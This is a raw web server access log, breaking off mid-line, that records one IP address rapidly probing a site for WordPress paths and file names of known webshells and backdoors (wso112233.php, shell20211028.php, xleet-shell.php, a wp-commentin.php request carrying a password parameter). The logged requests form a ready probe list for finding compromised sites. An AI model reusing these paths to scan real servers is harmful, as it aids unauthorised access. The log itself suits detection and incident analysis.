[16/Aug/2025:04:29:14 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:14 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:15 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:15 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:15 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:16 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:16 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:16 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:17 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:17 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:17 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:18 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:18 -0400] "GET /images/plugins.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:18 -0400] "GET /css/plugins.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:19 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:19 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:19 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:20 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:20 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:20 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:20 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:21 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:21 -0400] "GET /wp.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:21 -0400] "GET /wp-content/uploads/wso112233.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:22 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:22 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:22 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:23 -0400] "GET /wp-content/themes/wso112233.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:23 -0400] "GET /.well-known/shell20211028.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:23 -0400] "GET /.well-knownold/shell20211028.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:24 -0400] "GET /.well-known/acme-challenge/shell20211028.php HTTP/1.1" 301 275 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:24 -0400] "GET /.well-known/pkivalidation/shell20211028.php HTTP/1.1" 301 274 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:24 -0400] "GET /wp-content/plugins/shell20211028.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:25 -0400] "GET /wp-content/uploads/shell20211028.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:25 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:25 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:26 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:26 -0400] "GET /wp-content/themes/shell20211028.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:26 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:27 -0400] "GET /repeater.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:27 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 279 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:27 -0400] "GET /rindex.php?action=add HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:28 -0400] "GET /wp-mail.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:28 -0400] "GET /filefuns.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:28 -0400] "GET /wp-content/themes/mero-magazine/ws.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:29 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 285 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:29 -0400] "GET /wp/wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 288 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:29 -0400] "GET /wordpress/wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 295 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:30 -0400] "GET /blog/wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 290 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:30 -0400] "GET /wp-content/themes/astra/mar.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:31 -0400] "GET /wp-content/plugins/simple-google-recaptcha/recaptcha.php HTTP/1.1" 301 287 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:31 -0400] "GET /wp-includes/SimplePie/IRI-stream.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:31 -0400] "GET /woh.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:32 -0400] "GET /edit.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:32 -0400] "GET /pi.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:32 -0400] "GET /include.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:33 -0400] "GET /cjfuns.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:33 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:33 -0400] "GET /wp-content/plugins/db-toolkit/dbtoolkit_import.php HTTP/1.1" 301 281 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:34 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:34 -0400] "GET /.well-known/worm0.PhP7 HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:34 -0400] "GET /.tmb/worm0.PhP7 HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:35 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 273 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:35 -0400] "GET /wp-admin/js/widgets/users.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:35 -0400] "GET /xleet-shell.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:36 -0400] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:36 -0400] "GET /wp-admin/network/iR7SzrsOUEP.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:36 -0400] "GET /wp-admin/user/iR7SzrsOUEP.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:37 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:37 -0400] "GET /wp-includes/block-supports/themes.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:37 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:38 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:38 -0400] "GET /wp-includes/pomo/themes.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:38 -0400] "GET /gelay.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:39 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:39 -0400] "GET /al.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:39 -0400] "GET /wso112233.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:40 -0400] "GET /adminfuns.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:40 -0400] "GET /edit.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:40 -0400] "GET /thoms.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:41 -0400] "GET /menu-header.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:41 -0400] "GET /schallfuns.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:41 -0400] "GET /color.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:42 -0400] "GET /gecko.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:42 -0400] "GET /about.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:42 -0400] "GET /install.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:43 -0400] "GET /wp1010.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:43 -0400] "GET /becks.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:43 -0400] "GET /g.php HTTP/1.1" 301 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:44 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 